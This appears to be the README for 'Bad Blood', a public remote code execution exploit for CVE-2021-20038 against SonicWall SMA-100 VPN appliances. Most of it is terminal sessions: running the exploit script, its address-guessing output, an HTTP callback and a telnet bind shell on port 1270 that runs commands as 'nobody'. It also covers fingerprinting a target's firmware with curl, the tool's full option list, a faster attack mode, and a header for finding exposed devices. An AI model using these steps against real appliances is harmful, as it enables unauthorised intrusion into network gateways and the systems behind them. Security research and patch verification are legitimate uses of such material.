
SonicWall SMA-100 Unauth RCE Exploit (CVE-2021-20038)
Bad Blood is an exploit for CVE-2021-20038, a stack-based buffer overflow in the httpd binary of SMA-100 series systems using firmware versions 10.2.1.x. I've written a lot of the technical details here:
The exploit, as written, will open up a telnet bind shell on port 1270. An attacker that connects to the shell will achieve execution as nobody.
albinolobster@ubuntu:~/badblood$ date
Mon Jan 10 01:15:12 PM PST 2022
albinolobster@ubuntu:~/badblood$ python3 badblood.py --rhost 10.0.0.7 --lhost 10.0.0.3 --rversion 10.2.1.2-24sv
▄▄▄▄ ▄▄▄ ▓█████▄ ▄▄▄▄ ██▓ ▒█████ ▒█████ ▓█████▄
▓█████▄ ▒████▄ ▒██▀ ██▌ ▓█████▄ ▓██▒ ▒██▒ ██▒▒██▒ ██▒▒██▀ ██▌
▒██▒ ▄██▒██ ▀█▄ ░██ █▌ ▒██▒ ▄██▒██░ ▒██░ ██▒▒██░ ██▒░██ █▌
▒██░█▀ ░██▄▄▄▄██ ░▓█▄ ▌ ▒██░█▀ ▒██░ ▒██ ██░▒██ ██░░▓█▄ ▌
░▓█ ▀█▓ ▓█ ▓██▒░▒████▓ ░▓█ ▀█▓░██████▒░ ████▓▒░░ ████▓▒░░▒████▓
░▒▓███▀▒ ▒▒ ▓▒█░ ▒▒▓ ▒ ░▒▓███▀▒░ ▒░▓ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒▒▓ ▒
▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ▒░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ▒ ▒
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░
[+] Spinning up HTTP server
[+] User did not provide an address. We'll guess it.
[+] Generated 2047 base addresses
[+] Generated 1046017 total addresses to search
[+] Filtering addresses for double visits (thanks awesome payload!)
[+] Filtered down to 235533 total addresses to search
[+] Crashing all forks to reset stack to a semi-predicatable state
[+] Crashing complete. Good job. Let's go do work.
[+] Disabling stderr
[+] Spawning 4 workers
[+] Attempting to exploit the remote server. This might take quite some time. :eek:
[%] Addresses Tested: 70%
[*] Received an HTTP callback from 10.0.0.7 at 10/Jan/2022 14:38:03
[*] Now we got bad blood. Hey! 🦞
albinolobster@ubuntu:~/badblood$ telnet 10.0.0.7 1270
Trying 10.0.0.7...
Connected to 10.0.0.7.
Escape character is '^]'.
bash-4.2$ whoami
nobody
bash-4.2$ uname -a
Linux sslvpn 3.13.3 #1 SMP Tue Oct 12 09:52:15 GMT 2021 i686 i686 i386 GNU/Linux
bash-4.2$
| Version | Supported | Tested | Tested Target |
|---|---|---|---|
| 10.2.1.2-24sv | Yes | ✔️ | SMA 500v ESX |
| 10.2.1.1-19sv | Yes | ✔️ | SMA 500v ESX |
| 10.2.1.0-17sv | Yes | ✔️ | SMA 500v ESX |
At minimum, you'll need to provide:
Please read the stability notes for addtional context.
An obvious question, is how to obtain the target's version? A simple curl request to the target will reveal that they use the version number for css and js versioning.
albinolobster@ubuntu:~$ curl --insecure https://10.0.0.7/cgi-bin/welcome
...
<link href='/swl_login.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/swl_header.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/sma_content_overrides.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href='/sma_login_overrides.10.2.1.2-24sv.css' type='text/css' rel='stylesheet'>
<link href="/notificationbar.10.2.1.2-24sv.css" type="text/css" rel="stylesheet">
<script src="/js/jquery.10.2.1.2-24sv.js" type="text/javascript" charset="utf-8"></script>
The Metasploit module for CVE-2021-20039 parses this, but I didn't have it in me to do it for this exploit. Note that if you are scanning your environment for these things, I believe the "Server: SonicWall SSL-VPN Web Server" is the most reliable. About 22k in Jan. 2022.
albinolobster@ubuntu:~/badblood$ python3 badblood.py --help
▄▄▄▄ ▄▄▄ ▓█████▄ ▄▄▄▄ ██▓ ▒█████ ▒█████ ▓█████▄
▓█████▄ ▒████▄ ▒██▀ ██▌ ▓█████▄ ▓██▒ ▒██▒ ██▒▒██▒ ██▒▒██▀ ██▌
▒██▒ ▄██▒██ ▀█▄ ░██ █▌ ▒██▒ ▄██▒██░ ▒██░ ██▒▒██░ ██▒░██ █▌
▒██░█▀ ░██▄▄▄▄██ ░▓█▄ ▌ ▒██░█▀ ▒██░ ▒██ ██░▒██ ██░░▓█▄ ▌
░▓█ ▀█▓ ▓█ ▓██▒░▒████▓ ░▓█ ▀█▓░██████▒░ ████▓▒░░ ████▓▒░░▒████▓
░▒▓███▀▒ ▒▒ ▓▒█░ ▒▒▓ ▒ ░▒▓███▀▒░ ▒░▓ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒▒▓ ▒
▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ▒░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ▒ ▒
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░
usage: badblood.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST [--rversion RVERSION] [--rhostname RHOSTNAME] [--supported-versions] [--workers WORKERS] [--nocrash] [--enable-stderr] [--addr ADDR]
[--top-addr TOP_ADDR]
SonicWall SMA-100 Series Stack-Buffer Overflow Exploit (CVE-2021-20038)
optional arguments:
-h, --help show this help message and exit
--supported-versions The list of supported SMA-100 versions
--workers WORKERS The number of workers to spew the exploit
--nocrash Stops the exploit from sending a series of crash payload to start
--enable-stderr Enable stderr for debugging
--addr ADDR Test only. If you know the crash address, go wild.
--top-addr TOP_ADDR Test only. If you know the stack's top address, go wild.
required arguments:
--rhost RHOST The IPv4 address to connect to
--rport RPORT The port to connect to
--lhost LHOST The address to connect back to
--rversion RVERSION The version of the remote target
--rhostname RHOSTNAME
The hostname of the remote target target
There are three main modes of operation. The first is the exptected mode (address guessing). The second two are mostly for testing purposes.
This is the default state and no problem! We'll just guess a lot.
Great! If you can cat maps or do some other magic:
bfa29000-bfa4a000 rw-p 00000000 00:00 0 [stack]
You can use the --top_addr parameter and reduce attack time down to a few seconds!
albinolobster@ubuntu:~/badblood$ date
Mon Jan 10 05:42:19 PM PST 2022
albinolobster@ubuntu:~/badblood$ python3 badblood.py --rhost 10.0.0.7 --lhost 10.0.0.3 --rversion 10.2.1.2-24sv --top-addr 3215237120
▄▄▄▄ ▄▄▄ ▓█████▄ ▄▄▄▄ ██▓ ▒█████ ▒█████ ▓█████▄
▓█████▄ ▒████▄ ▒██▀ ██▌ ▓█████▄ ▓██▒ ▒██▒ ██▒▒██▒ ██▒▒██▀ ██▌
▒██▒ ▄██▒██ ▀█▄ ░██ █▌ ▒██▒ ▄██▒██░ ▒██░ ██▒▒██░ ██▒░██ █▌
▒██░█▀ ░██▄▄▄▄██ ░▓█▄ ▌ ▒██░█▀ ▒██░ ▒██ ██░▒██ ██░░▓█▄ ▌
░▓█ ▀█▓ ▓█ ▓██▒░▒████▓ ░▓█ ▀█▓░██████▒░ ████▓▒░░ ████▓▒░░▒████▓
░▒▓███▀▒ ▒▒ ▓▒█░ ▒▒▓ ▒ ░▒▓███▀▒░ ▒░▓ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒▒▓ ▒
▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ▒░▒ ░ ░ ░ ▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ▒ ▒
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░